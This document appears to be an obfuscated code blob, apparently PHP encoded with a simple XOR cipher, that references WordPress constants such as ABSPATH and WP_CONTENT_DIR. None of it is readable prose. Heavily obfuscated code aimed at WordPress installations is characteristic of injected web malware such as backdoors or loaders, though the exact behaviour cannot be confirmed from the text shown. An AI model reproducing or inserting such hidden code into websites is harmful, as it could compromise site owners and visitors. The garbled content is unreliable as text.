@lGEYPAVGFA]UR_@V9W@]AZTGl@_XWVUZ]VWE]AP@TR^\BGs_TUZFrq`crg{_R
@lGEYP
rq`crg{E]AP@TR^\BG
	lluzvll99AVGFA]DDlT[Z EDW@]AZTGl@_X@9999N9UF]PGZ\]_VQ]E[DERTR\KQJV9H9GAJH9ZU_R
@lGEYP
_R
@lGEYPOO_TUZF
E]AP@TR^\BG
AVGFA]9ZUWVUZ]VWE]AP@TR^\BG
AVGFA]9999[[_CC\A^IRIU]_R^BXF_[ \U R9ZU[[_CC\A^IROODDlT[Z ED
[[_CC\A^IR AVGFA]9XVJBKI R_B
TRUZJJY999ZUXVJUR_@VAVGFA]99WTGEEDVPPRYDDlT[Z ED
_TUZF
 _R
@lGEYP
 _R
@lGEYP
[[_CC\A^IR	DDlT[Z ED[[_CC\A^IR9VG_]@  E_Z_TUZF
DDlT[Z ED
[[_CC\A^IR	WTGEEDVPPRYo][[_CC\A^IR9GlB VB U
RlUGDDlT[Z ED
VG_]@  E_Z9Z\U EB^EKsDDlT[Z EDXVJR9ZUZ\U EB^EKH9I QV_Yl^A_ Z]Gs_R
@lGEYP
Z\U EB^EK9999PXAQTVX@sDDlT[Z ED
Z\U EB^EKI QV_Yl^A_ 9ZU_R
@lGEYP
PXAQTVX@_R
@lGEYPPXAQTVX@[[_CC\A^IRUR_@VH9sE]AP@TR^\BG

Z\U EB^EK9AVGFA]9N9sP\R_V@PVAVTV]F^VARG\A99ZUI QV_Yl^A_ GlB VB U
RlUGH9sE]AP@TR^\BG

Z\U EB^EK9Z\U EB^EKsDDlT[Z EDXVJD9ZUZ\U EB^EKH9sDDlT[Z EDZ\U EB^EK_R
@lGEYPVG_]@  E_ZI QV_Yl^A_ o9W^_ZGJFG@@s_TUZF
Z\U EB^EKGlB VB U
RlUG9sDDlT[Z EDZ\U EB^EK9ZUW^_ZGJFG@@VG_]@  E_ZXJRP]KB[T_TUZF DDlT[Z ED9N999AVGFA]9NV_@VH9s_TUZFZ\U EB^EK9s_R
@lGEYPZ\U EB^EK9N9N9|CV]`` CA\EZWVA@@VGGZ]T@@VPGZ\]99I QV_Yl^A_ GlB VB U
RlUG

9Z\U EB^EKs_R
@lGEYPXVJPKPKV I QV_Yl^A_ 9ZUZ\U EB^EKAVGFA]999sDDlT[Z EDZ\U EB^EKE]AP@TR^\BGVG_]@  E_ZI QV_Yl^A_ o999W^_ZGJFG@@sE]AP@TR^\BG
Z\U EB^EKGlB VB U
RlUG9ZUW^_ZGJFG@@VG_]@  E_ZXJRP]KB[T_TUZF DDlT[Z ED9s_R
@lGEYPZ\U EB^EK9NPRGP[g[A\DRQ_VTDKQ[VTBBQIHTKRAD[GPKQQK

WRR^QYYCP^
TKRAD[GP9XJRP]KB[T_R
@lGEYP TDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH999N9N9UF]PGZ\]VV Z^FlQYAWUZ_IPTVPFAAV]G__VY__DYR 9H999ZUDDlT[Z ED
PFAAV]GOOPFAAV]GAVGFA]DDlT[Z ED

__VY__DYR o]9ZU_R
@lGEYP
_TUZFPFAAV]G^@R W]D_@@UAK
cavtl|uu`vglprcgfavH9AJ__Q[
_FY^@R W]D_@@UAK
hnhn_R
@lGEYP
^@R W]D_@@UAK
hnhn9GAFQBW[EE]AP@TR^\BGPFAAV]GAJ__Q[
_FY
 9D[Z_V_R
@lGEYPGAFQBW[E_R
@lGEYP
E]AP@TR^\BG
GAFQBW[ElW^H999AJ__Q[
_FYE]AP@TR^\BG
lW^hn9GAFQBW[EE]AP@TR^\BGPFAAV]GAJ__Q[
_FY
999N9AVGFA]DDlT[Z EDPFAAV]GAJ__Q[
_FYo]__VY__DYR o]_TUZFPFAAV]GAJ__Q[
_FY9N9AVGFA]_TUZF

__VY__DYR o]o]PFAAV]G9N9UF]PGZ\]K^K_BYK@^YIKPXVJ9H9sZ]GVAAFCGUZ_GVAP[RZ]99ZUDDlT[Z EDDDlT[Z EDAVGFA]GAFV9TKVVl[[TADZJWsTVGl\CGZ\]_R
@lGEYPXVJ9ZUDDlT[Z EDTKVVl[[TADZJW_R
@lGEYPTKVVl[[TADZJWOUR_@VH9^XUQlGD[XBG_R
@lGEYP OTKVVl[[TADZJW9ZUZ]G^XUQlGD[XBGhnZ]G_TUZFK WUKZ]G^XUQlGD[XBGhnKKAVGFA]UR_@V9N9AVGFA]GAFV99N9UF]PGZ\]BC EGVI^^ZGC^XVJ9H9ZUE]AP@TR^\BGDDlT[Z EDOODDlT[Z EDE]AP@TR^\BG
AVGFA]9Il[\YQDUTlIZ]GDDlT[Z EDKVUKV
9TKVVl[[TADZJWsTVGl\CGZ\]DDlT[Z EDXVJ9VVZRG^JUEQ[VG_^EE[ZTQT@B^E_^EE[Z 9ZUDDlT[Z EDTKVVl[[TADZJW_TUZFTKVVl[[TADZJWOUR_@VH9^XUQlGD[XBGE]AP@TR^\BG OTKVVl[[TADZJW9ZUZ]G^XUQlGD[XBGhnIl[\YQDUTlIVVZRG^JUEQ[VGZ]G^XUQlGD[XBGhn9N9VVZRG^JUEQ[VG9sFCWRGVl\CGZ\]DDlT[Z EDXVJIl[\YQDUTlIOVVZRG^JUEQ[VGE]AP@TR^\BG9ZUVVZRG^JUEQ[VGXJRP]KB[T_R
@lGEYPE]AP@TR^\BGXVJ9N9UF]PGZ\]TPBIJXKD

V
KY[9H9GAJH9ZUWVUZ]VW_R
@lGEYP
AVGFA]9ZUWVUZ]VW_TUZF
OOsE]AP@TR^\BG 
dclp|}gv}glwzaOODQQUU\AVJlWBBdclp|}gv}glwzaAVGFA]9Z]^ECVK\YDQIdclp|}gv}glwza9ZVBIPTEGGGC]Z]^ECVK\YDQIE]AP@TR^\BG9AYRKTE\^_R
@lGEYPYDA[\
D@PQVUAV_R
@lGEYP 
 99YDQADE^
@_^@DBQ
D\KCTWT^C^KB\rq`crg{_TUZF _TUZF 9J]_CDYZKBBBVA
XCV@AY@^T9[JJA_D[ZITBQ
D\KCTWT^C^KB\rq`crg{E]AP@TR^\BG KK9EV QXIDACEA_R
@lGEYP
_R
@lGEYP
BKI R_B
TRUZJJY	UR_@V9]]F_I
YEV QXIDACEAUR_@V_R
@lGEYPEV QXIDACEA	9_CT^C_YCTZ@@VGt|qr`hDDlT[Z EDnCAVUZKt|qr`h_R
@lGEYPnCAVUZK	DDlT[Z ED 9FEJDZA_QYT TE]AP@TR^\BG_TUZFE]AP@TR^\BGAYRKTE\^@GAZ]TZIZ
Z\RY[KG9VWRVKP[KQGURYIQX 
FWI@UK99_TUZF 9RAARJll`ftllllizcl}r~vllll`{~|clxvjllll|cgl}r~vlllldclcavuzklllltfrawl}r~vlllleva`z|}ll9RAARJAYRKTE\^YDQADE^
@_^@D]]F_I
Y[JJA_D[ZIT_CT^C_YCTFEJDZA_QYT TB
C\ZlAP^PVX_\G_^Z99ZUVWRVKP[KQHKlUCGWKGDU@GV\KBQ]^PTRKlUCGWKGDU 9ZUZ]GTVGl\CGZ\]_R
@lGEYPXJRP]KB[TDDlT[Z ED_R
@lGEYP9AVGFA]9N9PFAAV]GsDDlT[Z EDZVBIPTEGGGC]s_R
@lGEYPZVBIPTEGGGC]	9999ZU_R
@lGEYPPFAAV]GH9XJRP]KB[T_TUZF_R
@lGEYP999AVGFA]9N9sGZ^V\FGP[RZ]99PFAAV]GQYDlT@]@EWXY@ZT[YT\FYPFAAV]G9QAE]ZQ\\EJRUB
C\ZlAP^PVX_\G_^Z	BQ
D\KCTWT^C^KB\rq`crg{E]AP@TR^\BG
KK9EWFZYRIlQDDlT[Z ED QAE]ZQ\\EJRUE]AP@TR^\BG 9T_^C[_TUZF QAE]ZQ\\EJRUE]AP@TR^\BG  9@WXKVV@[BQ
D\KCTWT^C^KB\rq`crg{E]AP@TR^\BG
9YICFTGXE_TUZF
_TUZF @WXKVV@[E]AP@TR^\BG PFAAV]G9WDlXI BDJDDlT[Z EDYICFTGXE_TUZF UR_@V9ZUE]AP@TR^\BGPFAAV]GEWFZYRIlQUR_@V_TUZF PFAAV]GT_^C[UR_@VWDlXI BDJH9_CFG
[AXKX[T\FYY9AVGFA]999N9PFAAV]GDDlT[Z ED DDlT[Z ED 
YICFTGXE9ZUE]AP@TR^\BGPFAAV]GH9999XJRP]KB[T_R
@lGEYP_TUZF9AVGFA]9999NH9PFAAV]GQYDlT@]@EWXY@ZT[YT\FYPFAAV]G9YIYJQ[X\KP_TUZF_TUZFVWRVKP[KQ9W\^Z]RGVWZ@P\]]VPGVWWZAVPG\A99999U@QA T_R
@lGEYP
PFAAV]G9999ZUU@QA TH9ZUK^K_BYK@^YIKPDDlT[Z EDH9XJRP]KB[T_R
@lGEYP_TUZF9AVGFA]9N9999ZUDZQEAXZYUl ZC
ZVBIPTEGGGC]PFAAV]GH9XJRP]KB[T_TUZFE]AP@TR^\BG9AVGFA]9N9BC EGVI^^ZGC^_TUZF 9NV_@VH9ZUDZQEAXZYUl ZC
ZVBIPTEGGGC]H9XJRP]KB[TDDlT[Z ED DDlT[Z ED9AVGFA]99N9N9AIKXV]V PPVV Z^FlQYAWUZ_IPTVPFAAV]GEWFZYRIlQo]YIYJQ[X\KPo]T_^C[9ZU_Bl[
X^GYCY^P ZVBIPTEGGGC]AIKXV]V PPH9AVGFA]]RXB]@ZEDRJX

IRZK
]RXB]@ZEDRJX9N9999ZUU@QA TPZZUJW[@
ClCFZVBIPTEGGGC]9_CFG
[AXKX[T\FYY9N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[T_TUZF TDKQ[VTBBQI9999NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9N9UF]PGZ\]^KlIW@WXl\TW9H9GAJH9ZUWVUZ]VW_TUZFAVGFA]9ZUWlQ^TGDA
Q[FBJJEYDA[\
D@PQVUAVAVGFA]9ZUE]AP@TR^\BG_R
@lGEYPAVGFA]9ZU_R
@lGEYP_R
@lGEYPAVGFA]9ZUZ@@VGl`vaevah_R
@lGEYP
nAVGFA]9ZUTVGlGAR]@ZV]G_TUZFAVGFA]9ZJ@T@CRZIRV]BBBVA
XCV@AY@^T9ZUsDDlT[Z ED 
ZJ@T@CRZIRV]BRFY @QI@lG^ZJ@T@CRZIRV] 
GAFV999ZUsDDlT[Z ED 
ZJ@T@CRZIRV]OOsE]AP@TR^\BGZJ@T@CRZIRV]H9ZJ@T@CRZIRV]rq`crg{_R
@lGEYP
9ZUs_R
@lGEYPZJ@T@CRZIRV]ZJ@T@CRZIRV]R\^]V JWXZ_9N9Y@]FPAQ\YV@KXDBQ
D\KCTWT^C^KB\rq`crg{T9KUYFl[EJJ_R
@lGEYPY@]FPAQ\YV@KXD_TUZF 
 999^TAVFBI  IXXVZJ@T@CRZIRV]KUYFl[EJJ9999YVFJBKF\
_VXUZJ@T@CRZIRV]DDlT[Z EDY@]FPAQ\YV@KXD9U\AVRP[RAARJZJ@T@CRZIRV]rq`crg{E]AP@TR^\BG
R\^]V JWXZ_R@PW\EWUVGD
ZJH9999^YB]QIBFQXPW\EWUVGD
ZJ_TUZFY@]FPAQ\YV@KXD9ZUsE]AP@TR^\BG^YB]QIBFQXH9^DK
WU_lZ]Gs_TUZF^YB]QIBFQX9ZU^DK
WU_lDDlT[Z ED OO^DK
WU_lE]AP@TR^\BGKKPH9999D_[][\JlFKFCVGRU^YB]QIBFQX99P\]GZ]FV9N9_\PXUAVVERAZR]G99ZUsE]AP@TR^\BGPW\EWUVGD
ZJ_TUZF Y@]FPAQ\YV@KXDE]AP@TR^\BG 
 AVGFA]9D_[][\JlFKFCVGRU^YB]QIBFQX9N9999N9F]@VGPW\EWUVGD
ZJ^YB]QIBFQX^DK
WU_l9CPFIAQlPI@\rq`crg{_R
@lGEYPKUYFl[EJJ9ZUZJ@T@CRZIRV]rq`crg{_TUZFsE]AP@TR^\BGCPFIAQlPI@\W
VJ B_P]PGICPFIAQlPI@\UR_@VH9999QD^BPU^^^C \VCPFIAQlPI@\ 
9ZUD_[][\JlFKFCVGRUCPFIAQlPI@\DDlT[Z ED_TUZF s\CPRP[VlZ]ER_ZWRGVCPFIAQlPI@\GAFV9N9F]@VGCPFIAQlPI@\9ZUsDDlT[Z EDYVFJBKF\
_VXUZ]Gs_R
@lGEYPYVFJBKF\
_VXU_TUZFKUKWAVGFA]9ZUs_R
@lGEYP
^TAVFBI  IXXV_TUZFZ]GsUZ_VPGZ^V^TAVFBI  IXXV 

AVGFA]9ZUsE]AP@TR^\BG
^TAVFBI  IXXVH9KPFQ]ERIXAs_R
@lGEYPZJ@T@CRZIRV]_R
@lGEYPY@]FPAQ\YV@KXDDDlT[Z ED@GAZ]TsE]AP@TR^\BGZJ@T@CRZIRV]E]AP@TR^\BGY@]FPAQ\YV@KXD	9ZUKPFQ]ERIXA_R
@lGEYP _R
@lGEYPKPFQ]ERIXAEVA@Z\]lP\^CRAVKPFQ]ERIXAB
C\ZlAP^PVX_\G_^ZAVGFA]9F]@VGKPFQ]ERIXA9999N9ZUsDDlT[Z ED^TAVFBI  IXXVH99G
JXJC]XT^ZJ@T@CRZIRV]_TUZFBQ
D\KCTWT^C^KB\rq`crg{TKK 9K\UDWT
_QJI@_s_TUZFG
JXJC]XT^@GAZ]TsDDlT[Z EDG
JXJC]XT^	9\]IlZXXKJJF9ZUK\UDWT
_QJI@_H\B_JDRPFWFRKWKRWBD^T\EUl]\\B_JDRPFWFR99DBPZAZAXT_TUZFOK\UDWT
_QJI@_9\]IlZXXKJJFZ]GDBPZAZAXThn9N9ZU\]IlZXXKJJF_R
@lGEYP\]IlZXXKJJFK VKXJRP]KB[T_TUZF_TUZF
9V_@VZU\]IlZXXKJJFDDlT[Z EDZ]GsUZ_VPGZ^V^TAVFBI  IXXV XJRP]KB[TE]AP@TR^\BG_TUZF9F]@VGG
JXJC]XT^K\UDWT
_QJI@_DBPZAZAXT\]IlZXXKJJF9999N9[[_CC\A^IRIU]_R^BXF_[ \U R99ZU[[_CC\A^IROO_R
@lGEYP
[[_CC\A^IR  AVGFA]9@Z@QCW ZR\JVVD lKFAYl
9AYRKTE\^_TUZFYDA[\
D@PQVUAV_TUZF 
 9I]RPBK XB@^[R\^]V JWXZ__R
@lGEYP9IVE_\l]VXlsDDlT[Z EDI]RPBK XB@^[9I]RPBK XB@^[AYRKTE\^_TUZF 
 9	R\^]V JWXZ__TUZFAYRKTE\^AYRKTE\^DDlT[Z ED 9XC]_DRBVDF_TUZFDDlT[Z ED_TUZF[\^VlFA_c{clfal{|`g	Z@@VGl`vaevah_R
@lGEYPnl`vaevahE]AP@TR^\BGn	9\FJP^EWVUZ]VWE]AP@TR^\BG dc~flcftz}lwzadc~flcftz}lwza	R\^]V JWXZ_E]AP@TR^\BG9]VF
KlK
BKBQ_RWVUZ]VW_R
@lGEYPdclcftz}lwzadclcftz}lwza	R\^]V JWXZ__R
@lGEYP9I^F@[I\XWQJ\IJEWVUZ]VW_R
@lGEYP
dclp|}gv}glwza	R\^]V JWXZ_9JFGT U@IG@\UIGURYIQX 
FWI@UK9999E]AP@TR^\BG9999RAARJllcrg{lqllllcftz}lqr`vllllw|~rz}llll{qlqlllltcrg{lqllllrq`crg{lqllllp|}gv}gwzalqllll~fwzalqllllcftz}wzalqllll`ftlllleva`z|}ll9RAARJDDlT[Z ED IVE_\l]VXl@Z@QCW ZRXC]_DRBVDFDDlT[Z ED YVFJBKF\
_VXUDDlT[Z ED^TAVFBI  IXXVE]AP@TR^\BGrq`crg{_TUZFI^F@[I\XWQJ\IJEDDlT[Z ED\FJP^E_R
@lGEYP]VF
KlK
BKBQ_RE]AP@TR^\BGYDA[\
D@PQVUAVE]AP@TR^\BG B
C\ZlAP^PVX_\G_^Z99ZUJFGT U@IG@\UIH9ZUZ]GTVGl\CGZ\]_R
@lGEYPXJRP]KB[TE]AP@TR^\BG_TUZF
9AVGFA]99N9999ZUZRG
\KYQ\R AXGJFGT U@IG@\UIH9XJRP]KB[T_R
@lGEYP_R
@lGEYP9AVGFA]9N9ZU_Bl[
X^GYCY^P ^TAVFBI  IXXVJFGT U@IG@\UIH9PICJFA]JXF[  [TDE^TAVFBI  IXXV]YGKGEIDXW PEEB\U]9QD^BPU^^^C \V^TAVFBI  IXXV 9PZZUJW[@
ClCF^TAVFBI  IXXV9\ZVFJWG^Y_ AV QD
I]KZJ@T@CRZIRV]_TUZFY@]FPAQ\YV@KXDDDlT[Z EDJFGT U@IG@\UI_R
@lGEYP9\ZVFJWG^Y_ AV QD
I]KZJ@T@CRZIRV]DDlT[Z EDY@]FPAQ\YV@KXDB
C\ZlAP^PVX_\G_^Z_R
@lGEYP9sZ]P_FWVl\]PV^TAVFBI  IXXV99@VGlGAR]@ZV]GE]AP@TR^\BG 
9N9F]@VG\FJP^E]VF
KlK
BKBQ_RI^F@[I\XWQJ\IJE9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[TE]AP@TR^\BGTDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9N9UF]PGZ\]P\F\X^VJ CElQCIQGAD]9H9ZUE]AP@TR^\BGlQCIQGAD]AVGFA]UR_@V9WYRWG T  _TUZF
lQCIQGAD]9ZUWYRWG T  
AVGFA]GAFV9ZUWYRWG T   
AVGFA]UR_@V9AA@E]DK
RlPZU_R
@lGEYPlQCIQGAD]9^CY
AEX^KC^F_TUZFAA@E]DK
RlPZUDDlT[Z EDAA@E]DK
RlPZUoG9AVGFA]^CY
AEX^KC^FDDlT[Z ED
AA@E]DK
RlPZU9N9UF]PGZ\]IU]_R^BXF_[ \U RC@]Q

J^UR_@V9H99@GRGZP[[_CC\A^IR]F__9ZUC@]Q

J^H9[[_CC\A^IR]F__999N9ZU[[_CC\A^IR]F__AVGFA][[_CC\A^IR9lQCIQGAD]UR_@V9999]Vl^F RQ]T]@sDDlT[Z ED
YDA[\
D@PQVUAV999ZU]Vl^F RQ]T]@]Vl^F RQ]T]@
]Vl^F RQ]T]@ 
lQCIQGAD]s_TUZFYDA[\
D@PQVUAV9999ZU_R
@lGEYPlQCIQGAD]_R
@lGEYP
lQCIQGAD] 


lQCIQGAD]QYDlT@]@EWXY@ZT[YT\FYlQCIQGAD]9999ZUE]AP@TR^\BGlQCIQGAD]E]AP@TR^\BG
lQCIQGAD]
_TUZF
lQCIQGAD]P\F\X^VJ CElQCIQGAD]ZRG
\KYQ\R AXGlQCIQGAD]H9AR]W\^ZIVWZ]ERAZR]G99[[_CC\A^IRlQCIQGAD]9AVGFA][[_CC\A^IR9N9[T[XTERAQ[RZWW
ZYXT_\DQE]AP@TR^\BG9ZU_R
@lGEYP[T[XTERAQ[_R
@lGEYP
[T[XTERAQ[DDlT[Z ED
[T[XTERAQ[ P\F\X^VJ CE[T[XTERAQ[ZRG
\KYQ\R AXG[T[XTERAQ[H9[[_CC\A^IR[T[XTERAQ[9AVGFA][[_CC\A^IR9N9[[_CC\A^IRUR_@V9999AVGFA][[_CC\A^IR9N9UF]PGZ\]\JVVD lKFAYl
C@]Q

J^UR_@V9H9@GRGZPIVl\@G^WYZ]F__9999ZUC@]Q

J^H99IVl\@G^WYZ]F__9N9ZUIVl\@G^WYZ]F__AVGFA]IVl\@G^WYZ9lQCIQGAD]IU]_R^BXF_[ \U R9ZUE]AP@TR^\BGlQCIQGAD]OODDlT[Z ED
lQCIQGAD]
OO_TUZFlQCIQGAD]  
OOP\F\X^VJ CElQCIQGAD]OOZRG
\KYQ\R AXGlQCIQGAD]H9IVl\@G^WYZUR_@V9AVGFA]IVl\@G^WYZ999N9IVl\@G^WYZ_R
@lGEYPY\C
PZKCTDQFDGWZ_YJlQCIQGAD]9AVGFA]IVl\@G^WYZ9N9UF]PGZ\]DDVC@][@ZEFXYPXJDX@ TTW9H9ZUDDlT[Z EDPXJDX@ TTWOO_TUZFPXJDX@ TTWOO_R
@lGEYPPXJDX@ TTWoKUoKQAVGFA]9@^FWU[BGKQPs_TUZF
eDDlT[Z EDPXJDX@ TTW9@^FWU[BGKQPE]AP@TR^\BG
@^FWU[BGKQP@^FWU[BGKQPhn	9ZU@^FWU[BGKQP OO@^FWU[BGKQP
AVGFA]@^FWU[BGKQP9AVGFA]9N9UF]PGZ\]ZK]l[DVEADAlJU\[QVIU YZZ9H9AVGFA]_TUZF
[VKWVPQVIU YZZhn9999N9UF]PGZ\]Z
GB\BC_ARJWF\WA\R__9H9999ZU_TUZFJWF\WA\R__OOJWF\WA\R__AVGFA]JWF\WA\R__9@GRGZPV\]X_IDX^D]F__9ZUV\]X_IDX^D]F__H9c{cZ]GVA@VPGZ\]	AVP\]PZ_V@J^Q\_GRQ_V999V\]X_IDX^DUR_@V9ZUDDlT[Z ED_R
@lGEYP
H9999lWWWVUZ]VWE]AP@TR^\BG
dclp|}gv}glwza	WVUZ]VWDDlT[Z ED
 rq`crg{	9ZUlWWH9AWIRYCDE D sWZ@XlUAVVl@CRPVlWW9ZUAWIRYCDE D UR_@VAWIRYCDE D   V\]X_IDX^DGAFV9N9sEVPG\AZIV]VT\GZRG\A99N9~J`by`|}\CVARG\A@	@GAVR^Z]TERF_G99ZUV\]X_IDX^DH9ZU_TUZF
_TUZF
sFCWRGVl\CGZ\]_TUZF
DDlT[Z EDE]AP@TR^\BG9NV_@VZUE]AP@TR^\BG
_R
@lGEYPH9XAY
TPVBZ]GTVGl\CGZ\]_TUZF
9ZUXAY
TPVB_TUZFXAY
TPVB V\]X_IDX^DUR_@V9N9N9ZUV\]X_IDX^DH9AVGFA]JWF\WA\R__9N9999^WZFYV XKY]Z
DDlT[Z ED
9ZUE]AP@TR^\BGJWF\WA\R__^WZFYV XKY]ZAVGFA]JWF\WA\R__9ZU_TUZFDDlT[Z EDJWF\WA\R___R
@lGEYP
AVGFA]JWF\WA\R__9D[Z_V_R
@lGEYPJWF\WA\R__^WZFYV XKY]Z 
H9WA]V @Z VTDG
9ZU_TUZF

DDlT[Z EDH99GAJHJ_VK
Z]BC\c{cl~ry|aleva`z|}^J_QE^Z]PIKFJ_VK
Z]BC\
9WA]V @Z VTDG
sDDlT[Z EDAR]W\^lQJGV@

9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH999WA]V @Z VTDG
9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9WA]V @Z VTDG
99N9N9999ZUDDlT[Z EDWA]V @Z VTDG

H999WA]V @Z VTDG
E]AP@TR^\BGF]ZBZWGAFV9D[Z_VE]AP@TR^\BGWA]V @Z VTDG
WA]V @Z VTDG
_TUZF WA]V @Z VTDG
9N9JWF\WA\R__o]WA]V @Z VTDG
_TUZF9N9AVGFA]JWF\WA\R__9N999UF]PGZ\]QYDlT@]@EWXY@ZT[YT\FYJWF\WA\R__9H9ZU_R
@lGEYPJWF\WA\R__OODDlT[Z EDJWF\WA\R__AVGFA]JWF\WA\R__9VVZRG^JUEQ[VGE]AP@TR^\BGDDlT[Z EDJWF\WA\R__PY_DTKPVQQ\
]\^A[K JPX@@PY_DTKPVQQ\9AVGFA]_TUZFVVZRG^JUEQ[VGVVZRG^JUEQ[VG	JWF\WA\R__9N9UF]PGZ\]PZZUJW[@
ClCF]U[IXWQCAQQ9999H9@GAV]TG[AVWFPVQAZWTVU\Ac{c]R^VWRATF^V]G@99ZU_R
@lGEYP_TUZFOOE]AP@TR^\BG_R
@lGEYP
AVGFA]9ZUDDlT[Z ED]U[IXWQCAQQOO]U[IXWQCAQQOOsE]AP@TR^\BG]U[IXWQCAQQAVGFA]9ZUZ@@VGt|qr`h_TUZF
nOODDlT[Z ED
t|qr`hE]AP@TR^\BG
nH9t|qr`h_TUZF
nTVGl\CGZ\]_TUZFRAARJ9ZU_R
@lGEYPt|qr`hDDlT[Z ED
nt|qr`h_R
@lGEYP
nRAARJ9N9999QVIU YZZt|qr`h_R
@lGEYPn9JWF\WA\R__sE]AP@TR^\BG]U[IXWQCAQQ9ZUDDlT[Z EDJWF\WA\R__AVGFA]9ZUDDlT[Z ED JWF\WA\R__KWQK
W
JWF\WA\R__QYDlT@]@EWXY@ZT[YT\FYJWF\WA\R__9QVIU YZZh_R
@lGEYP ]U[IXWQCAQQnRAARJC]U[IXWQCAQQ[_R
@lGEYPJWF\WA\R__TB
C\ZlAP^PVX_\G_^ZG_R
@lGEYP9ZUDDlT[Z ED
QVIU YZZH9U\AVRP[QVIU YZZR@\@Z@EPKFUF@^TKVVl[[TADZJWH9ZUDDlT[Z EDTKVVl[[TADZJWOOZ@@VGTKVVl[[TADZJWhGnOOZ]GTKVVl[[TADZJWhGn_R
@lGEYP

 F]@VGQVIU YZZh\@Z@EPKFUF@^n9N9999D[Z_V_R
@lGEYP
QVIU YZZH9P\^CRPGGZ^V\FGC\_ZPJ99QD\KGVY@]F__9A

UE
R@@V]F__[G
X[\JB]KJYFTP[lG\XRUY [G
X[\JB]KJY9U\AVRP[QVIU YZZR@\@Z@EPKFUF@^TKVVl[[TADZJWH9ABRZZEJV[GE]AP@TR^\BGTKVVl[[TADZJWZ@@VGTKVVl[[TADZJWhGnZ]GTKVVl[[TADZJWhGn	9ZUA

UE
R@@V]F__OOABRZZEJV[GA

UE
R@@VH9A

UE
R@@VABRZZEJV[G9QD\KGVY@\@Z@EPKFUF@^999N9N9ZUQD\KGVY@]F__QAVRX9F]@VGQVIU YZZhQD\KGVY@n9N999N9FCWRGVl\CGZ\]E]AP@TR^\BGQVIU YZZDDlT[Z EDPK[VKW\C YERB
QBKWQU^ZXZPPK[VKW\C YERBPK[VKW\C YERB	PK[VKW\C YERB99t|qr`hDDlT[Z EDnQVIU YZZ999N9UF]PGZ\]W
VJ B_P]PGI]U[IXWQCAQQ9H9ZUE]AP@TR^\BG]U[IXWQCAQQOO]U[IXWQCAQQAVGFA]UR_@V9ZUZ@@VGt|qr`hE]AP@TR^\BGnOO_R
@lGEYPt|qr`hDDlT[Z ED
nH9t|qr`h_R
@lGEYP
nE]AP@TR^\BG_TUZFTVGl\CGZ\]E]AP@TR^\BGRAARJ	RAARJ9ZU_TUZFt|qr`h_R
@lGEYPnt|qr`hDDlT[Z EDnRAARJ99N9QVIU YZZt|qr`hDDlT[Z EDn9YZZl]@\BE\FFDDlT[Z ED]U[IXWQCAQQ999ZUZ@@VGQVIU YZZhYZZl]@\BE\FFn_R
@lGEYPQVIU YZZhYZZl]@\BE\FFnZ@@VGQVIU YZZhYZZl]@\BE\FFnh[nH9ZUZ]Gs_R
@lGEYP
]U[IXWQCAQQKRWWKUQVAVGFA]DDlT[Z ED9JWF\WA\R__s_R
@lGEYP]U[IXWQCAQQ9ZU_TUZFJWF\WA\R__H9ZUE]AP@TR^\BG JWF\WA\R__ JWF\WA\R__QYDlT@]@EWXY@ZT[YT\FYJWF\WA\R__9AVGFA]E]AP@TR^\BGJWF\WA\R__QVIU YZZhYZZl]@\BE\FFnh[nGAFV	E]AP@TR^\BG99N9999AVGFA]UR_@V99N9][\CVDB[
BD\s_TUZF]U[IXWQCAQQUR_@V]F__9ZU9E]AP@TR^\BG][\CVDB[
BD\_TUZF _TUZF
][\CVDB[
BD\9_J_RI]_\_lDP^]U[IXWQCAQQ9H9999ZUZ]Gs_R
@lGEYP]U[IXWQCAQQK WK
QPU AVGFA]UR_@VRU]JXEKJX]KlGIPQ\P\DRU]JXEKJX]999JWF\WA\R__@GAZ]Ts_TUZF]U[IXWQCAQQ99ZUE]AP@TR^\BGJWF\WA\R__JWF\WA\R__QYDlT@]@EWXY@ZT[YT\FYJWF\WA\R__999ZUZRG
\KYQ\R AXGJWF\WA\R__AVGFA]E]AP@TR^\BG9N9AVGFA]UR_@V9N9UF]PGZ\]C_[X[AI EPD 99HCEQ\QC]RZP^ CEQ\QC]9@GRGZPQVIU YZZ]F__9@C_ZGUZ_GVAP[RZ]99ZUQVIU YZZ]F__AVGFA]QVIU YZZ9JWF\WA\R__@GAZ]TsDDlT[Z EDYDA[\
D@PQVUAV99ZU_TUZF
JWF\WA\R__
JWF\WA\R__QYDlT@]@EWXY@ZT[YT\FYJWF\WA\R__9QVIU YZZDDlT[Z EDJWF\WA\R__9AVGFA]QVIU YZZ9999N99UF]PGZ\]IYYU\WU\EBVIJKWBIC9H9AVGFA]DDlT[Z EDC_[X[AI EPD   m9N9UF]PGZ\]AWDVK[GKKWCFBl]T9H99AVGFA]BBBVA
XCV@AY@^TE]AP@TR^\BG BQ
D\KCTWT^C^KB\rq`crg{E]AP@TR^\BG DDlT[Z ED 9N9UF]PGZ\]E\RC_\WGUYRI
R9H9_
F\TIIZTFIRAARJ9ZUE]AP@TR^\BG_R
@lGEYPH9QG^D\YBCP[UKlDsTVGl\CGZ\]E]AP@TR^\BG RAARJ99ZU_TUZFQG^D\YBCP[UKlD_
F\TIIZTFIQG^D\YBCP[UKlD99N999JWF\WA\R__s_TUZFAWDVK[GKKWCFBl]TsE]AP@TR^\BGAWDVK[GKKWCFBl]T	9ZU_TUZFJWF\WA\R__E]AP@TR^\BG JWF\WA\R___TUZFH9\G_U UCKZDDlT[Z ED_TUZF  JWF\WA\R__m GAFV9ZUE]AP@TR^\BG \G_U UCKZV^CGJ_
F\TIIZTFIh_R
@lGEYP nOOV^CGJ\G_U UCKZh_R
@lGEYP n\G_U UCKZhE]AP@TR^\BG n_
F\TIIZTFIhE]AP@TR^\BG n_
F\TIIZTFI\G_U UCKZ9N99AVGFA]_
F\TIIZTFI9N9UF]PGZ\]lRP
KRDBF
^FTBPB
B]FP^X9H9GAJH9ZUWVUZ]VW_R
@lGEYP
 AVGFA]9R[FAWTTJX^YDDlT[Z ED9999ZUPB
B]FP^XE]AP@TR^\BG OOPB
B]FP^XE]AP@TR^\BG H9CAVEE\RC_\WGUYRI
R9ZU9Z@@VGCAVEh_TUZF nCAVEhE]AP@TR^\BG 
